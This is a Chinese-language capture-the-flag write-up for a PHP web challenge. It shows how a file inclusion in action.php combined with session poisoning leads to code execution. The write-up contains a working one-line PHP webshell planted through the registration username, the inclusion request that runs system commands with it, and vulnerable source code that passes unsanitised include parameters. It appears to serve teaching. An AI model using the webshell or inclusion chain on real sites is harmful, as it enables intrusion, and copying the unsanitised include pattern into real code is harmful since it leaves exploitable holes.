解题过程
观察
- 具有登录,注册功能。任意注册,登录后提示there is no flag
- 登录或注册存在数据库注入?测试并没有~
- session包含?
- url中存在
/action.php?module=php&file=login
,疑似文件包含 - 扫目录存在
robots.txt
,其中禁止访问php1nFo.php
- 观察
php1nFo.php
中发现open_basedir /var/www/html/:/tmp /var/www/html/:/tmp
即可访问/tmp
文件夹session.save_path /var/lib/php5 /var/lib/php5
然而session在这个文件夹中
- 官方Tips:包含php1nFo.php发现session真正路径 (怎么做到的?)
session.save_path /tmp/SESS /var/lib/php5
- 随意注册登录,尝试包含session: (测试无法利用绝对路径?)
/action.php&module=&file=../../../tmp/SESS/sess_sjd6u2a234sq5kbrc3dhhhcdj4
得到如下lang|s:5:"zh-CN";user|s:5:"admin";uuid|s:36:"cbdc3636-0e19-11e7-a037-0242ac110003";
Payload
session中包含用户名,构造用户名为php木马,然后在action.php中包含该session
- 注册用户
<?php $_GET['a'](base64_decode($_GET['b']));?>
- 命令执行
/action.php?module=&file=../../../tmp/SESS/sess_sjd6u2a234sq5kbrc3dhhhcdj4&a=system&b=bHM=
发现flag就在目录下
源码找坑
action.php
<?php
include_once './include/init.php'; //包含初始化文件,这里对session的配置进行了修改
if (isset($_GET['file']) && isset($_GET['module'])) {
$file = $_GET['file'];
$module = $_GET['module'];
if ($module === 'php') {
include "./$file.$module";
} else {
if (file_exists("./$file")) {
include "./$file"; //无法使用绝对路径
} else {
echo "the $file didn't exist";
}
}
} else {
die();
}
php1nFo.php
<?php
phpinfo(); // 读取配置文件中的phpinfo
?>
./include/init.php
<?php
header("Content-type: text/html; charset=utf-8");
if (count(get_included_files()) == 1) {
die();
}
error_reporting(0);
ini_set('session.save_path', '/tmp/SESS'); // 修改session存储路径
//ini_set('session.save_path', './tmp');
session_start();
function require_login() {
if (!isset($_SESSION['user']) || !$_SESSION['user']) {
header('Location: ./action.php?module=php&file=login');
die();
}
}
if (!isset($_SESSION['lang']) || !$_SESSION['lang']) {
$_SESSION['lang'] = 'zh-CN';
}
if (isset($_GET['lang'])) {
$_SESSION['lang'] = $_GET['lang'];
}
$langfile = './include/lang.' . $_SESSION['lang'] . '.php';
if (file_exists($langfile)) {
include $langfile;
} else {
$_SESSION['lang'] = 'zh-CN';
die('Unable to load translation file: ' . $langfile);
}
知识小结
- robots.txt泄露敏感信息
- phpinfo中的openbase_dir,session.save_path
- 动态修改php.ini
- 文件包含利用
- 绝对路径和相对路径
- php中的session详解
- 一句话木马的混淆以及使用